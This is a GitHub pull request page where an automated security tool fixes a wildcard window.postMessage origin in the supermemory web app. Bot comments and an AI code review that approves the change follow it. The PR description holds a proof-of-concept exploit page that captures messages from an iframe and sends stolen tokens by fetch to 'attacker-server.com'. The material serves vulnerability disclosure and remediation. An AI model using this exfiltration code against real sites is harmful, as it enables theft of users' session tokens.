supermemory icon indicating copy to clipboard operation
supermemory copied to clipboard

Fix: Messages Sent to Any Website Without Verifying Recipient in apps/web/app/(navigation)/page.tsx

Open orbisai0security opened this issue 2 months ago β€’ 2 comments

Context and Purpose:

This PR automatically remediates a security vulnerability:

  • Description: The target origin of the window.postMessage() API is set to "*". This could allow for information disclosure due to the possibility of any origin allowed to receive the message.
  • Rule ID: javascript.browser.security.wildcard-postmessage-configuration.wildcard-postmessage-configuration
  • Severity: MEDIUM
  • File: apps/web/app/(navigation)/page.tsx
  • Lines Affected: 36 - 36

This change is necessary to protect the application from potential security risks associated with this vulnerability.

Security Impact Assessment:

Aspect Rating Rationale
Impact Medium In this web-based AI memory app, exploiting the wildcard postMessage could allow an attacker to receive sensitive user data or session information sent via the API, potentially leading to information disclosure such as personal memories or authentication tokens if included in the messages. The app's focus on user data storage makes this a moderate risk for privacy breaches, though not enabling full system compromise.
Likelihood Medium The repository is a publicly accessible web application, making it susceptible to cross-origin attacks where malicious websites could embed or interact with it via iframes or popups, exploiting the wildcard origin to intercept messages. However, exploitation requires a user to visit such a malicious site while logged into the app, and not all postMessage usages may contain exploitable data.
Ease of Fix Easy Remediation involves changing the target origin from "*" to a specific, trusted domain in the postMessage call, which is a straightforward single-line code modification in the affected file with minimal risk of breaking changes or dependencies.

Evidence: Proof-of-Concept Exploitation Demo:

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited:

The vulnerability in apps/web/app/(navigation)/page.tsx involves a window.postMessage() call with a wildcard origin ("*"), allowing any external website to receive messages sent from this page. In the context of the supermemory web application (a Next.js-based tool for AI-powered memory management), this could leak sensitive user data, such as authentication tokens, memory entries, or API keys, if the app sends such data via postMessage (e.g., to communicate with embedded iframes or popups). An attacker can exploit this by hosting a malicious site that embeds the supermemory page in an iframe and listens for these messages, capturing any data transmitted.

The vulnerability in apps/web/app/(navigation)/page.tsx involves a window.postMessage() call with a wildcard origin ("*"), allowing any external website to receive messages sent from this page. In the context of the supermemory web application (a Next.js-based tool for AI-powered memory management), this could leak sensitive user data, such as authentication tokens, memory entries, or API keys, if the app sends such data via postMessage (e.g., to communicate with embedded iframes or popups). An attacker can exploit this by hosting a malicious site that embeds the supermemory page in an iframe and listens for these messages, capturing any data transmitted.

To demonstrate exploitation, an attacker would need to:

  1. Identify the supermemory app's deployment (e.g., via its public URL, assuming it's hosted at something like https://supermemory.ai or a similar domain).
  2. Create a malicious HTML page that embeds the vulnerable page in an iframe.
  3. Add an event listener to capture postMessages from the iframe.

Here's a concrete PoC script that an attacker could host on a malicious website (e.g., http://evil.com/exploit.html). This assumes the supermemory page sends messages containing sensitive data (e.g., user tokens or memory data) when loaded or interacted withβ€”based on typical postMessage usage in web apps like this for cross-origin communication.

<!DOCTYPE html>
<html lang="en">
<head>
    <title>Malicious Exploit Page</title>
</head>
<body>
    <h1>Exploiting Supermemory PostMessage Vulnerability</h1>
    <p>This iframe loads the vulnerable supermemory page. Any postMessages sent will be captured below.</p>
    
    <!-- Embed the vulnerable supermemory page in an iframe -->
    <iframe src="https://supermemory.ai/(navigation)" width="800" height="600"></iframe>
    
    <div id="capturedMessages"></div>
    
    <script>
        // Listen for postMessages from any origin (exploiting the wildcard "*")
        window.addEventListener('message', function(event) {
            // The vulnerability allows messages from any origin, so we capture them all
            console.log('Captured message:', event.data);
            
            // Display captured data (e.g., sensitive tokens or user data)
            const display = document.getElementById('capturedMessages');
            display.innerHTML += '<p>Origin: ' + event.origin + '<br>Data: ' + JSON.stringify(event.data) + '</p>';
            
            // Example: If the message contains a token, exfiltrate it
            if (event.data && event.data.token) {
                // Send to attacker's server (replace with real endpoint)
                fetch('http://attacker-server.com/exfiltrate', {
                    method: 'POST',
                    body: JSON.stringify({ stolenToken: event.data.token }),
                    headers: { 'Content-Type': 'application/json' }
                });
            }
        });
    </script>
</body>
</html>

Exploitation Impact Assessment:

Impact Category Severity Description
Data Exposure High Sensitive user data, such as authentication tokens, AI-generated memory entries, or API keys for integrations (e.g., with external AI services), could be leaked to any website listening for postMessages. This could enable account takeover or unauthorized access to personal memory data stored in the app's backend.
System Compromise Low No direct server-side compromise; this is client-side only, limited to the user's browser session. An attacker couldn't gain code execution on the server or escalate to system privileges, but could potentially inject malicious data back via postMessage if the app processes incoming messages unsafely.
Operational Impact Low Exploitation is passive and doesn't disrupt the app's operation directly. However, if leaked data leads to account abuse (e.g., deleting memories), it could cause user-side data loss or service degradation for affected users, with minimal impact on overall availability.
Compliance Risk Medium Violates OWASP Top 10 A08 (Software and Data Integrity Failures) by allowing unauthorized cross-origin data access. If supermemory handles EU user data, this could breach GDPR Article 32 (security of processing), risking fines. It may also fail SOC2 compliance for data protection in AI tools.

Solution Implemented:

The automated remediation process has applied the necessary changes to the affected code in apps/web/app/(navigation)/page.tsx to resolve the identified issue.

Please review the changes to ensure they are correct and integrate as expected.

orbisai0security avatar Nov 07 '25 01:11 orbisai0security

How to use the Graphite Merge Queue

Add the label Main to this PR to add it to the merge queue.

You must have a Graphite account in order to use the merge queue. Sign up using this link.

An organization admin has enabled the Graphite Merge Queue in this repository.

Please do not merge from GitHub as this will restart CI on PRs being processed by the merge queue.

graphite-app[bot] avatar Nov 07 '25 01:11 graphite-app[bot]

πŸ” Existing Issues For Review

Your pull request is modifying functions with the following pre-existing issues:

πŸ“„ File: apps/web/app/(navigation)/page.tsx

Function Unhandled Issue
Page Error: Memories is not defined /
Event Count: 3 Affected Users: 0

sentry[bot] avatar Nov 07 '25 01:11 sentry[bot]

Celebrity gif. A young Keanu Reeves stands in the rain smiling. He raises up his arm and gives an enthusiastic thumbs up. (Added via Giphy)

graphite-app[bot] avatar Nov 07 '25 06:11 graphite-app[bot]

Code Review: PR #565 - Fix postMessage Wildcard Origin Vulnerability

Summary

This PR addresses a MEDIUM severity security vulnerability by changing the target origin of window.postMessage() from a wildcard ("*") to the specific origin (window.location.origin) in apps/web/app/(navigation)/page.tsx. The change prevents potential information disclosure to malicious websites.

Code Quality & Best Practices βœ…

Positive Aspects:

  1. Minimal, Focused Change: The fix is surgical - changing only what's necessary (line 36)
  2. Correct Solution: Using window.location.origin is the appropriate fix for same-origin messaging
  3. Context-Appropriate: The change is in a Chrome extension authentication flow where messages should only be received by the same origin

Observations:

The code sends sensitive data via postMessage:

  • Session tokens (encoded)
  • User data (email, name, userId)

This makes the wildcard origin vulnerability particularly dangerous, as the PR description correctly identifies.

Security Analysis πŸ”’

Vulnerability Assessment:

βœ… Correctly Fixed: The change from "*" to window.location.origin ensures messages are only received by the same origin

Remaining Security Considerations:

  1. Token Encoding is Not Encryption (apps/web/app/(navigation)/page.tsx:35)

    • encodeURIComponent() only URL-encodes the token, it doesn't provide cryptographic protection
    • While the origin fix prevents external sites from receiving it, consider if tokens should be transmitted via postMessage at all
    • Recommendation: Evaluate if there's a more secure communication method (e.g., direct storage access, secure channel)
  2. Missing Message Verification

    • The code sends messages but doesn't show the receiver implementation
    • Recommendation: Ensure the message receiver validates the origin using event.origin === window.location.origin
  3. Token in URL Parameters (apps/web/app/(navigation)/page.tsx:22-24)

    • The flow uses extension-auth-success as a URL parameter trigger
    • URL parameters are logged in browser history, server logs, and referrer headers
    • Recommendation: Consider using hash fragments (#) or POST requests for auth flows

Performance Considerations ⚑

βœ… No Performance Impact: The change from "*" to window.location.origin has negligible performance overhead

Potential Bugs or Issues πŸ›

No Breaking Changes Expected:

The change should be backward compatible since:

  • The receiving end should already be on the same origin (Chrome extension communicating with the web app)
  • If the receiver was expecting messages from any origin, it would still receive messages from window.location.origin

Edge Case to Test:

  • Subdomain scenarios: Verify that window.location.origin works correctly if the app is accessed via different subdomains (e.g., app.supermemory.ai vs supermemory.ai)
  • If cross-subdomain messaging is needed, consider using a specific parent domain instead

Test Coverage πŸ§ͺ

Missing Tests:

❌ No tests added for this security fix

Recommended Test Cases:

describe('Extension Authentication postMessage', () => {
  it('should send postMessage with correct origin', () => {
    // Test that postMessage is called with window.location.origin
  });
  
  it('should not send postMessage to wildcard origin', () => {
    // Verify "*" is never used
  });
  
  it('should handle missing session token gracefully', () => {
    // Test the conditional logic at line 34
  });
});

Manual Testing Checklist:

  • [ ] Chrome extension authentication flow still works
  • [ ] Token is received correctly by the extension
  • [ ] No console errors in production
  • [ ] Works across different deployment environments

Architecture & Design πŸ—οΈ

Current Flow Analysis:

User authenticates β†’ URL param set β†’ Page loads β†’ 
postMessage sent β†’ Extension receives β†’ Clean up URL

Potential Improvement:

Consider using the Chrome Extension Message Passing API instead of window.postMessage() for extension-to-page communication:

// More secure alternative for extension communication
chrome.runtime.sendMessage(extensionId, {
  token: encodedToken,
  userData
});

This would eliminate the postMessage attack surface entirely.

Compliance & Standards βœ…

  • βœ… Addresses OWASP A08:2021 - Software and Data Integrity Failures
  • βœ… Improves GDPR compliance (Article 32 - Security of Processing)
  • βœ… Aligns with security best practices from CLAUDE.md

Recommendations for Future Work

  1. Add E2E tests for the extension authentication flow
  2. Implement CSP headers to further restrict postMessage capabilities
  3. Add origin validation on the message receiver side
  4. Consider alternative authentication flow that doesn't use postMessage
  5. Add security monitoring for authentication events

Final Verdict βœ…

APPROVED - This is a critical security fix that should be merged immediately (already merged).

Risk Assessment:

  • Pre-fix: HIGH risk of information disclosure
  • Post-fix: LOW risk, appropriate for same-origin messaging
  • Regression risk: VERY LOW

The fix is correct, minimal, and addresses the vulnerability effectively. However, the broader authentication architecture could benefit from additional hardening as outlined above.


Review conducted by Claude Code following repository guidelines from CLAUDE.md

claude[bot] avatar Nov 07 '25 07:11 claude[bot]